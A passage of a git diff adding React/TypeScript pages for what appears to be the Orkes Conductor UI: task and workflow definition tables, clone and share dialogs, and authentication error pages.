saveTask({ + body: JSON.stringify([newTaskDefinition]), + }); + }} + isFetching={isSavingTask} + title="Clone Task Confirmation" + id="task-name-field" + label="Task name" + /> + )} + + {tagsEnabled && ( + { + setShowAddTagDialog(false); + setAddTagDialogData(null); + }} + onSuccess={() => { + setShowAddTagDialog(false); + refetchData(); + }} + /> + )} + + {confirmDeleteName && ( + { + if (selectedChoice && confirmDeleteName) { + // @ts-ignore + deleteTaskDefinitionAction.mutate({ + method: "delete", + path: `/metadata/taskdefs/${encodeURIComponent( + confirmDeleteName, + )}`, + }); + } + setConfirmDeleteName(""); + }} + message={ + <> + Are you sure you want to delete{" "} + {confirmDeleteName} task + definition? This cannot be undone. +
      + Please type {confirmDeleteName} to confirm. +
      + + } + header={"Deletion Confirmation"} + isInputConfirmation + valueToBeDeleted={confirmDeleteName} + /> + )} + pushHistory(NEW_TASK_DEF_URL), + startIcon: , + }, + ]} + /> + } + /> + + {/*@ts-ignore*/} + +
      + {tableData && ( + <> + + + , + ]} + onChangePage={handlePageChange} + paginationDefaultPage={pageParam ? Number(pageParam) : 1} + noDataComponent={ + searchParam === "" ? ( + + ) : ( + handleSearchTermChange("")} + /> + ) + } + /> + + )} + + + {toastMessage && ( + { + setToastMessage(null); + }} + /> + )} + + ); +} diff --git a/ui-next/src/pages/definitions/Workflow.tsx b/ui-next/src/pages/definitions/Workflow.tsx new file mode 100644 index 0000000..9918b0b --- /dev/null +++ b/ui-next/src/pages/definitions/Workflow.tsx @@ -0,0 +1,571 @@ +import { Box, Tooltip } from "@mui/material"; +import { + CopySimple as CopyIcon, + Trash as DeleteIcon, + ArrowClockwise as RefreshIcon, + Tag as TagIcon, +} from "@phosphor-icons/react"; +import { Button, DataTable, IconButton, NavLink, Paper } from "components"; +import { FilterObjectItem } from "components/ui/DataTable/state"; +import { ColumnCustomType, LegacyColumn } from "components/ui/DataTable/types"; +import Header from "components/ui/Header"; +import NoDataComponent from "components/ui/NoDataComponent"; +import { SnackbarMessage } from "components/ui/SnackbarMessage"; +import ConfirmChoiceDialog from "components/ui/dialogs/ConfirmChoiceDialog"; +import AddTagDialog, { + TagDialogProps, +} from "components/features/tags/AddTagDialog"; +import TagList from "components/ui/TagList"; +import PlayIcon from "components/icons/PlayIcon"; +import { MessageContext } from "components/providers/messageContext"; +import SplitWorkflowDefinitionButton from "pages/executions/SplitWorkflowDefinitionButton/SplitWorkflowDefinitionButton"; +import { removeDeletedWorkflow } from "pages/runWorkflow/runWorkflowUtils"; +import { useCallback, useContext, useMemo, useState } from "react"; +import { Helmet } from "react-helmet"; +import { UseQueryResult } from "react-query"; +import { useNavigate } from "react-router"; +import SectionContainer from "components/ui/layout/SectionContainer"; +import SectionHeader from "components/layout/SectionHeader"; +import SectionHeaderActions from "components/ui/layout/SectionHeaderActions"; +import { useAuth } from "components/features/auth"; +import { colors } from "theme/tokens/variables"; +import { PopoverMessage } from "types/Messages"; +import { TagDto } from "types/Tag"; +import { WorkflowDef } from "types/WorkflowDef"; +import { + RUN_WORKFLOW_URL, + WORKFLOW_DEFINITION_URL, +} from "utils/constants/route"; +import { featureFlags, FEATURES } from "utils/flags"; +import useCustomPagination from "utils/hooks/useCustomPagination"; +import { usePushHistory } from "utils/hooks/usePushHistory"; +import { logger } from "utils/logger"; +import { useActionWithPath, useWorkflowDefs } from "utils/query"; +import { createSearchableTags, tryToJson } from "utils/utils"; +import { getUniqueWorkflows } from "utils/workflow"; +import CloneWorkflowDialog from "./dialog/CloneWorkflowDialog"; + +const INTRO_CONTENT = `A **workflow definition** is a blueprint that defines the sequence of tasks, their dependencies, and how data flows between them. + +Workflows can be versioned, tagged, and reused across your applications. They provide a visual and programmatic way to orchestrate complex business processes. + +Read more: + +* [Core Concepts: Workflows](https://orkes.io/content/core-concepts#workflow-definition) +* [Developer Guides: Workflows](https://orkes.io/content/developer-guides/workflows) +* [Workflow API Reference](https://orkes.io/content/reference-docs/api/workflow) + +Browse our templates to get started with easy examples! +`; + +export default function WorkflowDefinitions() { + const navigate = useNavigate(); + const { isTrialExpired } = useAuth(); + + const isPlayground = featureFlags.isEnabled(FEATURES.PLAYGROUND); + const tagsEnabled = featureFlags.isEnabled(FEATURES.TAG_VISIBILITY); + const { data, isFetching, refetch }: UseQueryResult = + useWorkflowDefs(); + const [showAddTagDialog, setShowAddTagDialog] = useState(false); + const [addTagDialogData, setAddTagDialogData] = + useState(null); + + const [selectedWorkflowWithAction, setSelectedWorkflowWithAction] = useState<{ + selectedWorkflow: WorkflowDef | null; + action: string; + }>({ + selectedWorkflow: null, + action: "", + }); + const [toastMessage, setToastMessage] = useState(null); + + const { setMessage } = useContext(MessageContext); + const pushHistory = usePushHistory(); + const [ + { filterParam, pageParam, searchParam }, + { setFilterParam, setSearchParam, handlePageChange }, + ] = useCustomPagination(); + const [confirmDelete, setConfirmDelete] = useState<{ + confirmDelete: boolean; + workflowName: string; + workflowVersion: number; + } | null>(null); + const filterObj = + filterParam === "" ? undefined : tryToJson(filterParam); + + const deleteWorkflowVersionAction = useActionWithPath({ + onSuccess: () => { + if (confirmDelete?.workflowName) { + removeDeletedWorkflow( + encodeURIComponent(confirmDelete?.workflowName), + confirmDelete?.workflowVersion, + ); + } + + refetch(); + }, + onError: (err: Error) => { + setMessage({ + severity: "error", + text: "Failed to delete workflow", + }); + logger.error(err); + refetch(); + }, + }); + + const columns = useMemo( + () => [ + { + id: "workflow_name", + name: "name", + label: "Workflow name", + renderer: (val: string) => { + return ( + + {val.trim()} + + ); + }, + tooltip: "The name of the workflow", + }, + { + id: "workflow_description", + name: "description", + label: "Description", + grow: 2, + tooltip: "The description of the workflow", + }, + ...(tagsEnabled + ? ([ + { + id: "workflow_tags", + name: "tags", + label: "Tags", + searchable: true, + searchableFunc: (tags: TagDto[]) => createSearchableTags(tags), + renderer: (tags: TagDto[], row: WorkflowDef) => ( + + ), + grow: 2, + tooltip: "The tags associated with the workflow", + }, + ] as LegacyColumn[]) + : []), + { + id: "create_time", + name: "createTime", + label: "Created time", + type: ColumnCustomType.DATE, + tooltip: "The time the workflow was created", + }, + { + id: "latest_version", + name: "version", + label: "Latest version", + grow: 0.5, + tooltip: "The latest version of the workflow", + }, + { + id: "schema_version", + name: "schemaVersion", + label: "Schema version", + grow: 0.5, + tooltip: "The schema version of the workflow", + }, + { + id: "restartable", + name: "restartable", + label: "Restartable", + grow: 0.5, + tooltip: "Whether the workflow is restartable", + }, + { + id: "status_listener_enabled", + name: "workflowStatusListenerEnabled", + label: "Status listener enabled", + grow: 0.5, + tooltip: "Whether the status listener is enabled", + }, + { + id: "owner_email", + name: "ownerEmail", + label: "Owner email", + tooltip: "The email of the owner of the workflow", + }, + { + id: "input_params", + name: "inputParameters", + label: "Input params", + type: ColumnCustomType.JSON, + sortable: false, + tooltip: "The input parameters of the workflow", + }, + { + id: "output_params", + name: "outputParameters", + label: "Output params", + type: ColumnCustomType.JSON, + sortable: false, + tooltip: "The output parameters of the workflow", + }, + { + id: "timeout_policy", + name: "timeoutPolicy", + label: "Timeout policy", + grow: 0.5, + tooltip: "The timeout policy of the workflow", + }, + { + id: "timeout_seconds", + name: "timeoutSeconds", + label: "Timeout seconds", + grow: 0.5, + tooltip: "The timeout seconds of the workflow", + }, + { + id: "failure_workflow", + name: "failureWorkflow", + label: "Failure workflow", + grow: 1, + tooltip: "The compensation workflow", + }, + { + id: "executions_link", + name: "name", + label: "Executions", + sortable: false, + searchable: false, + grow: 0.5, + renderer: (name: string) => ( + + Query + + ), + tooltip: "The executions of the workflow", + }, + { + id: "actions", + name: "name", + label: "Actions", + sortable: false, + searchable: false, + grow: 0.5, + minWidth: "180px", + tooltip: "Actions you can perform on the workflow", + renderer: (name: string, workflowRowData: WorkflowDef) => { + return ( + + + { + navigate("/runWorkflow", { + state: { + execution: { + workflowName: workflowRowData.name, + workflowVersion: workflowRowData.version, + input: workflowRowData?.inputParameters + ? Object.fromEntries( + workflowRowData.inputParameters.map((key) => [ + key, + "", + ]), + ) + : {}, + }, + }, + }); + }} + size="small" + sx={{ + whiteSpace: "nowrap", + }} + > + + + + + + + setSelectedWorkflowWithAction({ + selectedWorkflow: workflowRowData, + action: "clone", + }) + } + disabled={isTrialExpired} + size="small" + sx={{ + whiteSpace: "nowrap", + }} + > + + + + {tagsEnabled && ( + + { + setAddTagDialogData({ + tags: workflowRowData.tags || [], + itemName: workflowRowData.name, + itemType: "workflow", + } as TagDialogProps); + setShowAddTagDialog(true); + }} + size="small" + > + + + + )} + + + { + const selectedData = data?.find((x) => x.name === name); + if (selectedData) { + setConfirmDelete({ + confirmDelete: true, + workflowName: selectedData.name, + workflowVersion: selectedData.version, + }); + } + }} + size="small" + sx={{ + whiteSpace: "nowrap", + }} + > + + + + + ); + }, + }, + ], + [data, navigate, isTrialExpired, tagsEnabled], + ); + + const handleFilterChange = useCallback( + (obj?: FilterObjectItem) => { + if (obj) { + setFilterParam(JSON.stringify(obj)); + } else { + setFilterParam(""); + } + }, + [setFilterParam], + ); + + const workflows = useMemo(() => { + // Extract latest versions only + if (data) { + return getUniqueWorkflows(data); + } + }, [data]); + + const handleClickGetStarted = () => { + pushHistory(isPlayground ? "/" : WORKFLOW_DEFINITION_URL.NEW); + }; + + return ( + <> + + Workflow Definitions + + + {selectedWorkflowWithAction && + selectedWorkflowWithAction?.selectedWorkflow && + selectedWorkflowWithAction?.action === "clone" && ( + + setSelectedWorkflowWithAction({ + selectedWorkflow: null, + action: "", + }) + } + onSuccess={() => { + setSelectedWorkflowWithAction({ + selectedWorkflow: null, + action: "", + }); + refetch(); + setToastMessage({ + text: "Workflow cloned successfully", + severity: "success", + }); + }} + selectedWorkflow={selectedWorkflowWithAction?.selectedWorkflow} + workflowList={data ?? []} + /> + )} + + {tagsEnabled && ( + { + setShowAddTagDialog(false); + setAddTagDialogData(null); + }} + onSuccess={() => { + setShowAddTagDialog(false); + setAddTagDialogData(null); + refetch(); + }} + /> + )} + + {confirmDelete && ( + { + if (selectedChoice) { + // @ts-ignore + deleteWorkflowVersionAction.mutate({ + method: "delete", + path: `/metadata/workflow/${encodeURIComponent( + confirmDelete.workflowName, + )}/${confirmDelete.workflowVersion}`, + }); + } + setConfirmDelete(null); + }} + message={ + <> + Are you sure you want to delete{" "} + + {confirmDelete.workflowName} + {" "} + workflow definition? This cannot be undone. +
      + Please type {confirmDelete.workflowName} to + confirm. +
      + + } + header={"Deletion confirmation"} + isInputConfirmation + valueToBeDeleted={confirmDelete.workflowName} + /> + )} + pushHistory(RUN_WORKFLOW_URL), + startIcon: , + }, + { + customButtonElement: , + }, + ]} + /> + } + /> + + +
      + {workflows && ( + + + , + ]} + onChangePage={handlePageChange} + paginationDefaultPage={pageParam ? Number(pageParam) : 1} + noDataComponent={ + searchParam === "" ? ( + + ) : ( + setSearchParam("")} + /> + ) + } + /> + )} + + + {toastMessage && ( + { + setToastMessage(null); + }} + /> + )} + + ); +} diff --git a/ui-next/src/pages/definitions/dialog/CloneDialog.tsx b/ui-next/src/pages/definitions/dialog/CloneDialog.tsx new file mode 100644 index 0000000..a3cb751 --- /dev/null +++ b/ui-next/src/pages/definitions/dialog/CloneDialog.tsx @@ -0,0 +1,115 @@ +import { yupResolver } from "@hookform/resolvers/yup"; +import { + Dialog, + DialogActions, + DialogContent, + DialogTitle, + Grid, +} from "@mui/material"; +import ActionButton from "components/ui/buttons/ActionButton"; +import Button from "components/ui/buttons/MuiButton"; +import ReactHookFormInput from "components/ui/react-hook-form/ReactHookFormInput"; +import { DefaultValues, SubmitHandler, useForm } from "react-hook-form"; +import { WORKFLOW_NAME_ERROR_MESSAGE } from "utils/constants/common"; +import { WORKFLOW_NAME_REGEX } from "utils/constants/regex"; +import * as yup from "yup"; + +interface DialogData { + name: string; +} +export interface CloneDialogProps { + name: string; + namesList: string[]; + onClose: () => void; + onSuccess: (data: DialogData) => void; + isFetching?: boolean; + title?: string; + id?: string; + label?: string; +} + +const CloneDialog = ({ + name, + onClose, + onSuccess, + namesList, + isFetching, + title, + id, + label, +}: CloneDialogProps) => { + const formSchema = yup.object().shape({ + name: yup + .string() + .required("Name cannot be blank.") + .matches(WORKFLOW_NAME_REGEX, WORKFLOW_NAME_ERROR_MESSAGE) + .notOneOf(namesList, "This name is existing."), + }); + + const defaultValues: DefaultValues = { + name: name, + }; + + const { + control, + handleSubmit, + formState: { errors: formErrors, isValid }, + } = useForm({ + mode: "onChange", + resolver: yupResolver(formSchema), + defaultValues, + }); + + const onSubmit: SubmitHandler = (data) => { + onSuccess(data); + }; + + return ( + + {title} + + + + + + + + + + handleSubmit(onSubmit)()} + disabled={!isValid} + progress={isFetching} + > + Clone + + + + ); +}; + +export default CloneDialog; diff --git a/ui-next/src/pages/definitions/dialog/CloneScheduleDialog.tsx b/ui-next/src/pages/definitions/dialog/CloneScheduleDialog.tsx new file mode 100644 index 0000000..c33d5f7 --- /dev/null +++ b/ui-next/src/pages/definitions/dialog/CloneScheduleDialog.tsx @@ -0,0 +1,110 @@ +import { yupResolver } from "@hookform/resolvers/yup"; +import { + Dialog, + DialogActions, + DialogContent, + DialogTitle, + Grid, +} from "@mui/material"; +import { DefaultValues, SubmitHandler, useForm } from "react-hook-form"; +import * as yup from "yup"; + +import ActionButton from "components/ui/buttons/ActionButton"; +import Button from "components/ui/buttons/MuiButton"; +import ReactHookFormInput from "components/ui/react-hook-form/ReactHookFormInput"; +import { WORKFLOW_NAME_ERROR_MESSAGE } from "utils/constants/common"; +import { WORKFLOW_NAME_REGEX } from "utils/constants/regex"; + +interface DialogData { + name: string; +} +export interface CloneScheduleDialogProps { + name: string; + scheduleNames: string[]; + onClose: () => void; + onSuccess: (data: DialogData) => void; + isFetching?: boolean; +} + +const CloneScheduleDialog = ({ + name, + scheduleNames, + onClose, + onSuccess, + isFetching, +}: CloneScheduleDialogProps) => { + const formSchema = yup.object().shape({ + name: yup + .string() + .required("Name cannot be blank.") + .matches(WORKFLOW_NAME_REGEX, WORKFLOW_NAME_ERROR_MESSAGE) + .notOneOf(scheduleNames, "This name is existing."), + }); + + const defaultValues: DefaultValues = { + name: name, + }; + + const { + control, + handleSubmit, + formState: { errors: formErrors, isValid }, + } = useForm({ + mode: "onChange", + resolver: yupResolver(formSchema), + defaultValues, + }); + + const onSubmit: SubmitHandler = (data) => { + onSuccess(data); + }; + + return ( + + Clone Schedule Confirmation + + + + + + + + + + handleSubmit(onSubmit)()} + disabled={!isValid} + progress={isFetching} + > + Clone + + + + ); +}; + +export default CloneScheduleDialog; diff --git a/ui-next/src/pages/definitions/dialog/CloneWorkflowDialog.tsx b/ui-next/src/pages/definitions/dialog/CloneWorkflowDialog.tsx new file mode 100644 index 0000000..d613698 --- /dev/null +++ b/ui-next/src/pages/definitions/dialog/CloneWorkflowDialog.tsx @@ -0,0 +1,220 @@ +import { yupResolver } from "@hookform/resolvers/yup"; +import { + Dialog, + DialogActions, + DialogContent, + DialogTitle, + Grid, +} from "@mui/material"; +import ActionButton from "components/ui/buttons/ActionButton"; +import Button from "components/ui/buttons/MuiButton"; +import { MessageContext } from "components/providers/messageContext"; +import ReactHookFormDropdown from "components/ui/react-hook-form/ReactHookFormDropdown"; +import ReactHookFormInput from "components/ui/react-hook-form/ReactHookFormInput"; +import _last from "lodash/last"; +import { getWorkflowDefinitionByNameAndVersion } from "pages/definition/commonService"; +import { useContext, useMemo } from "react"; +import { DefaultValues, SubmitHandler, useForm } from "react-hook-form"; +import { useQueryClient } from "react-query"; +import { HTTPMethods } from "types/TaskType"; +import { WorkflowDef } from "types/WorkflowDef"; +import { WORKFLOW_METADATA_BASE_URL } from "utils/constants/api"; +import { WORKFLOW_NAME_ERROR_MESSAGE } from "utils/constants/common"; +import { WORKFLOW_NAME_REGEX } from "utils/constants/regex"; +import { logger } from "utils/logger"; +import { + useActionWithPath, + useAuthHeaders, + useSharedQueryContext, +} from "utils/query"; +import { getSequentiallySuffix } from "utils/strings"; +import { getUniqueWorkflowsWithVersions } from "utils/workflow"; +import * as yup from "yup"; + +interface DialogData { + name: string; + version: number; +} + +export interface CloneWorkflowDialogProps { + selectedWorkflow: WorkflowDef; + workflowList: WorkflowDef[]; + onClose: () => void; + onSuccess: () => void; +} + +const CloneWorkflowDialog = ({ + selectedWorkflow, + onClose, + onSuccess, + workflowList, +}: CloneWorkflowDialogProps) => { + const authHeaders = useAuthHeaders(); + const queryClient = useQueryClient(); + const { cacheQueryKey } = useSharedQueryContext(); + + const { setMessage } = useContext(MessageContext); + + const createWorkflowAction = useActionWithPath({ + onSuccess: () => { + onSuccess(); + // Clear cache to force re-fetch without waiting stale time + queryClient.removeQueries(cacheQueryKey); + }, + onError: (err: Error) => { + logger.error(err); + }, + }); + + const workflowsWithVersions = useMemo>( + () => getUniqueWorkflowsWithVersions(workflowList), + [workflowList], + ); + + const workflowNames = useMemo( + () => [...workflowsWithVersions.keys()], + [workflowsWithVersions], + ); + + const workflowVersions = useMemo( + () => + workflowsWithVersions.get(selectedWorkflow.name)?.map((item) => item) || + [], + [workflowsWithVersions, selectedWorkflow], + ); + + const { name: suffixedWfName } = getSequentiallySuffix({ + name: selectedWorkflow.name, + refNames: workflowNames, + }); + + const formSchema: yup.ObjectSchema = yup.object().shape({ + name: yup + .string() + .required("Name cannot be blank.") + .matches(WORKFLOW_NAME_REGEX, WORKFLOW_NAME_ERROR_MESSAGE) + .notOneOf(workflowNames, "This name is existing."), + version: yup + .number() + .required("Version cannot be blank.") + .typeError("Version cannot be blank."), + }); + + const defaultValues: DefaultValues = { + name: suffixedWfName, + version: _last(workflowVersions), + }; + + const { + control, + handleSubmit, + formState: { errors: formErrors, isValid }, + } = useForm({ + mode: "onChange", + resolver: yupResolver(formSchema), + defaultValues, + }); + + const onSubmit: SubmitHandler = async (workflowData) => { + const { name: newName, version } = workflowData; + + // Checking existing cloned workflow + const existingWorkflow: WorkflowDef | undefined = workflowList?.find( + (workflow) => workflow.name === newName, + ); + + if (!existingWorkflow) { + try { + const clonedWorkflow = await getWorkflowDefinitionByNameAndVersion({ + name: selectedWorkflow.name, + version: Number(version), + authHeaders, + }); + + if (clonedWorkflow?.name) { + // @ts-ignore + createWorkflowAction.mutate({ + method: HTTPMethods.POST, + path: WORKFLOW_METADATA_BASE_URL, + body: JSON.stringify({ + ...clonedWorkflow, + version: 1, + name: newName, + }), + workflowName: newName, + }); + } + } catch (e: any) { + setMessage({ + severity: "error", + text: `Unable to clone: ${e.text}`, + }); + onClose(); + } + } + }; + + return ( + + Clone Workflow Confirmation + + + + + + + + option?.toString()} + options={workflowVersions} + error={!!formErrors?.version?.message} + helperText={formErrors?.version?.message} + /> + + + + + + handleSubmit(onSubmit)()} + disabled={!isValid} + progress={createWorkflowAction.isLoading} + > + Clone + + + + ); +}; + +export default CloneWorkflowDialog; diff --git a/ui-next/src/pages/definitions/dialog/ShareWorkflowDialog.tsx b/ui-next/src/pages/definitions/dialog/ShareWorkflowDialog.tsx new file mode 100644 index 0000000..1eb0054 --- /dev/null +++ b/ui-next/src/pages/definitions/dialog/ShareWorkflowDialog.tsx @@ -0,0 +1,258 @@ +import { + Avatar, + Box, + FormControlLabel, + Grid, + IconButton, + Tooltip, +} from "@mui/material"; +import { Share, X } from "@phosphor-icons/react"; +import { Button, Paper } from "components"; +import MuiCheckbox from "components/ui/MuiCheckbox"; +import UIModal from "components/ui/dialogs/UIModal"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { MessageContext } from "components/providers/messageContext"; +import _ from "lodash"; +import _last from "lodash/last"; +import { ChangeEvent, useContext, useEffect, useState } from "react"; +import { useQueryClient } from "react-query"; +import { HTTPMethods } from "types/TaskType"; +import { WorkflowDef } from "types/WorkflowDef"; +import { logger } from "utils/logger"; +import { useActionWithPath, useSharedQueryContext } from "utils/query"; + +interface ShareWorkflowDialogProps { + onClose: () => void; + onSuccess: () => void; + selectedWorkflow: WorkflowDef; +} + +const ShareWorkflowDialog = ({ + onClose, + onSuccess, + selectedWorkflow, +}: ShareWorkflowDialogProps) => { + const queryClient = useQueryClient(); + const { setMessage } = useContext(MessageContext); + const { cacheQueryKey } = useSharedQueryContext(); + const [userId, setUserId] = useState(null); + const [peopleWithAccess, setPeopleWithAccess] = useState([]); + const [shareWithEveryone, setShareWithEveryone] = useState(false); + + const shareWorkflowAction = useActionWithPath({ + onSuccess: () => { + onSuccess(); + setMessage({ + severity: "success", + text: `Workflow shared successfully`, + }); + queryClient.removeQueries(cacheQueryKey); + }, + onError: (err: Error) => { + logger.error(err); + }, + }); + + const getAllsharedResources = useActionWithPath({ + onSuccess: (data: any) => { + const allResources = data; + if (allResources && allResources.length > 0) { + const sharedWithList: string[] = _.chain(allResources) + .filter( + (obj) => + _last(obj.resourceName.split("#")) === selectedWorkflow?.name, + ) + .map("sharedWith") + .value(); + setPeopleWithAccess(sharedWithList); + } + }, + onError: (err: Error) => { + logger.error(err); + }, + }); + + const removeSharingAction = useActionWithPath({ + onSuccess: () => { + setMessage({ + severity: "success", + text: `Access updated`, + }); + setPeopleWithAccess([]); + fetchAllSharedResources(); + }, + onError: (err: Error) => { + logger.error(err); + }, + }); + + const handleUserId = (value: string) => { + setUserId(value); + }; + + const handleShareWithEveryoneChange = ( + event: ChangeEvent, + ) => { + setShareWithEveryone(event.target.checked); + if (event.target.checked) { + setUserId("*"); + } else { + setUserId(null); + } + }; + + const handleShareWorkflow = () => { + try { + // @ts-ignore + shareWorkflowAction.mutate({ + method: HTTPMethods.POST, + path: `/share/shareResource?resourceType=WORKFLOW_DEF&resourceName=${selectedWorkflow?.name}&sharedWith=${userId}`, + }); + } catch (e: any) { + setMessage({ + severity: "error", + text: `Unable to share: ${e.text}`, + }); + } + }; + + const fetchAllSharedResources = () => { + try { + // @ts-ignore + getAllsharedResources.mutate({ + method: HTTPMethods.GET, + path: `/share/getSharedResources`, + }); + } catch (e: any) { + setMessage({ + severity: "error", + text: `Unable to fetch shared resources: ${e.text}`, + }); + } + }; + + useEffect(() => { + fetchAllSharedResources(); + // eslint-disable-next-line react-hooks/exhaustive-deps + }, []); + + const handleRemoveSharing = (user: string) => { + try { + // @ts-ignore + removeSharingAction.mutate({ + method: "delete", + path: `/share/removeSharingResource?resourceType=WORKFLOW_DEF&resourceName=${selectedWorkflow?.name}&sharedWith=${user}`, + }); + } catch (e: any) { + setMessage({ + severity: "error", + text: `Unable to fetch shared resources: ${e.text}`, + }); + } + }; + return ( + } + title={`Share "${selectedWorkflow?.name}" workflow`} + description="Share this workflow with others you choose." + titleSx={{ textTransform: "none" }} + enableCloseButton + > + + + + handleUserId(value)} + autoFocus={true} + disabled={shareWithEveryone} + /> + + } + label="Share this workflow with everyone" + /> + + {peopleWithAccess && peopleWithAccess?.length > 0 ? ( + + + + People with access + + + {peopleWithAccess.map((user, index) => ( + + + {user[0]} + + {user} + + + handleRemoveSharing(user)} + size="small" + sx={{ + whiteSpace: "nowrap", + }} + > + + + + + + ))} + + + + ) : null} + + + + + + + ); +}; + +export default ShareWorkflowDialog; diff --git a/ui-next/src/pages/definitions/index.ts b/ui-next/src/pages/definitions/index.ts new file mode 100644 index 0000000..e3a41b8 --- /dev/null +++ b/ui-next/src/pages/definitions/index.ts @@ -0,0 +1,6 @@ +import EventHandler from "./EventHandler"; +import Schedules from "./Scheduler/Schedules"; +import Task from "./Task"; +import Workflow from "./Workflow"; + +export { EventHandler, Schedules, Task, Workflow }; diff --git a/ui-next/src/pages/definitions/rowColorHelpers.ts b/ui-next/src/pages/definitions/rowColorHelpers.ts new file mode 100644 index 0000000..572cd61 --- /dev/null +++ b/ui-next/src/pages/definitions/rowColorHelpers.ts @@ -0,0 +1,24 @@ +type RowWithActive = { active?: boolean }; + +export const activeFilterGroups = [ + { title: "Active", value: "yes" }, + { title: "Inactive", value: "no" }, + { title: "Both", value: "all" }, +]; +// TODO this should be in the colors file. FIXME ask Leah! +export const pausedrowColor = "#949494"; +export const pausedLinkColor = "#619bd5"; +export const activeLinkColor = "#1976d2"; + +export const getLinkColor = (rec: RowWithActive) => + rec.active ? activeLinkColor : pausedLinkColor; + +export const conditionalRowStyles = [ + { + when: (row: RowWithActive) => row.active === false, + cl: "pausedrow", + style: { + color: `${pausedrowColor}`, + }, + }, +]; diff --git a/ui-next/src/pages/error/ErrorPage.tsx b/ui-next/src/pages/error/ErrorPage.tsx new file mode 100644 index 0000000..6b55ec3 --- /dev/null +++ b/ui-next/src/pages/error/ErrorPage.tsx @@ -0,0 +1,229 @@ +import Box from "@mui/material/Box"; +import MuiTypography from "components/ui/MuiTypography"; +import Error from "components/ui/Error"; +import EmailNotVerifiedSvg from "images/svg/email-not-verified.svg"; +import UserNotFoundSvg from "images/svg/user-not-found.svg"; +import { useCallback, useMemo } from "react"; +import { Helmet } from "react-helmet"; +import { useQueryState } from "react-router-use-location-state"; +import { useAuth } from "components/features/auth"; +import { + silentlyRefreshToken, + hasRefreshPermanentlyFailed, +} from "components/features/auth/silentRefresh"; +import { canRefreshToken } from "components/features/auth/tokenManagerJotai"; +import { HttpStatusCode } from "utils/constants/httpStatusCode"; +import { useErrorMonitoring } from "utils/monitoring"; +import Forbidden from "./Forbidden"; +import type { ParsedErrorMessage } from "./types"; +import { UserNotFound } from "./UserNotFound"; + +// @ts-ignore +const isUsingOkta = ["okta", "oidc"].includes(window?.authConfig?.type); + +const parseMessage = ({ + code, + error, + message, + onDone, +}: { + code: string; + error: string; + message: string; + onDone: () => void; + logOut: () => void; +}): ParsedErrorMessage => { + if (error === "EMAIL_NOT_VERIFIED") { + return { + code: "Please verify your email", + description: "I have already verified my email.", + title: "", + onClick: onDone, + buttonText: "Back To Login", + errorLogo: EmailNotVerifiedSvg, + }; + } + + if (error === "EXPIRED_TOKEN") { + return { + code: "EXPIRED TOKEN", + description: "Your session has expired.", + title: "EXPIRED TOKEN", + onClick: onDone, + buttonText: "REFRESH SESSION", + }; + } + + if (error === "USER_NOT_FOUND") { + return { + code: "Account does not exist", + description: + "Please notify your Orkes Cluster Admin to set up an account", + title: "User not found", + onClick: onDone, + buttonText: "Retry Login", + errorLogo: UserNotFoundSvg, + }; + } + + switch (Number(code)) { + case HttpStatusCode.Unauthorized: { + if (!isUsingOkta) { + return { + code, + description: + "Please logout and log back in. If the error persists, please clear your cache or force refresh the login page.", + title: "ERROR", + }; + } + + return { + code: "ACCESS DENIED", + description: + "This looks like a permission issue. Please contact your administrator for access.", + title: "ACCESS DENIED", + }; + } + + case HttpStatusCode.Forbidden: + return { + code: "ACCESS DENIED", + description: + "0AuthError: User is not assigned to the client application. Please contact your administrator.", + title: "ACCESS DENIED", + }; + + case HttpStatusCode.NotFound: + return { + code, + description: "We're sorry but we couldn't locate that page.", + title: "ERROR", + }; + + default: { + return { + code, + description: + message || + "Not sure what happened, but let's try again. If that doesn't work, let's restart the browser.", + title: "ERROR", + }; + } + } +}; + +export default function ErrorPage() { + const { solveExpireToken, logOut, oidcConfig } = useAuth(); + // const { useIdToken, acquireToken, setToken } = useAuth() as { + // useIdToken: string; + // acquireToken: (b: boolean) => void; + // setToken: (token?: string | null) => void; + // }; + const { notifyError } = useErrorMonitoring(); + + const [code] = useQueryState("code", `${HttpStatusCode.NotFound}`); + const [error] = useQueryState("error", ""); + const [message] = useQueryState("message", ""); + + notifyError("Unauthorized", { error, message }); + + const onDone = useCallback(async () => { + // if (useIdToken && acquireToken) { + // await acquireToken(true); + // } + // + // if (setToken) { + // // we set the token to null to force the OIDC flow to get a new token + // setToken(null); + // } + + // For 401 errors, try silent refresh first if possible + if (Number(code) === HttpStatusCode.Unauthorized) { + if (canRefreshToken() && !hasRefreshPermanentlyFailed()) { + const refreshed = await silentlyRefreshToken(oidcConfig); + + if (refreshed) { + window.location.replace("/"); + return; + } + } + } + + solveExpireToken(); + window.location.replace("/"); + }, [solveExpireToken, code, oidcConfig]); + + const parsedMessage = parseMessage({ code, error, message, onDone, logOut }); + + const ErrorComponent = useMemo(() => { + return () => { + if ( + error === "EXPIRED_TOKEN" || + Number(code) === HttpStatusCode.Forbidden + ) { + return ; + } else if (error === "USER_NOT_FOUND" || error === "EMAIL_NOT_VERIFIED") { + return ( + + ); + } else { + return ( + + ); + } + }; + }, [code, error, logOut, parsedMessage]); + + const pageTitle = useMemo(() => { + if (error === "EMAIL_NOT_VERIFIED") { + return "Email Not Verified"; + } + if (error === "USER_NOT_FOUND") { + return "User Not Found"; + } + return "Error"; + }, [error]); + + return ( + + + {pageTitle} + + {error === "USER_NOT_FOUND" ? ( + + + 401: + + {parsedMessage.title} + + ) : ( + + {parsedMessage.title} + + )} + + + + ); +} diff --git a/ui-next/src/pages/error/Forbidden.tsx b/ui-next/src/pages/error/Forbidden.tsx new file mode 100644 index 0000000..28a1de5 --- /dev/null +++ b/ui-next/src/pages/error/Forbidden.tsx @@ -0,0 +1,48 @@ +import { useAuth } from "components/features/auth"; // TODO missing error page +import Error from "components/ui/Error"; +import useInterval from "utils/useInterval"; +import { tryToJson } from "utils/utils"; +import { ParsedErrorMessage } from "./types"; + +export interface ForbiddenProps { + parsedMessage: ParsedErrorMessage; +} + +export default function Forbidden({ parsedMessage }: ForbiddenProps) { + const { solveExpireToken } = useAuth(); + + // checking if client id is changed + useInterval(() => { + let invalidClientId = false; + + Object.entries(localStorage).forEach(([key, value]) => { + // checking auth0 key + const parsedValue = tryToJson(value); + if (key.startsWith("@@auth0spajs@@") && parsedValue !== undefined) { + const auth0Value = parsedValue; + + // @ts-ignore + if (auth0Value.body?.client_id !== window?.authConfig?.clientId) { + localStorage.removeItem(key); + + // re-fetch token + solveExpireToken(); + invalidClientId = true; + } + } + }); + + if (invalidClientId) { + window.location.replace("/"); + } + }, 1000); + + return ( + + ); +} diff --git 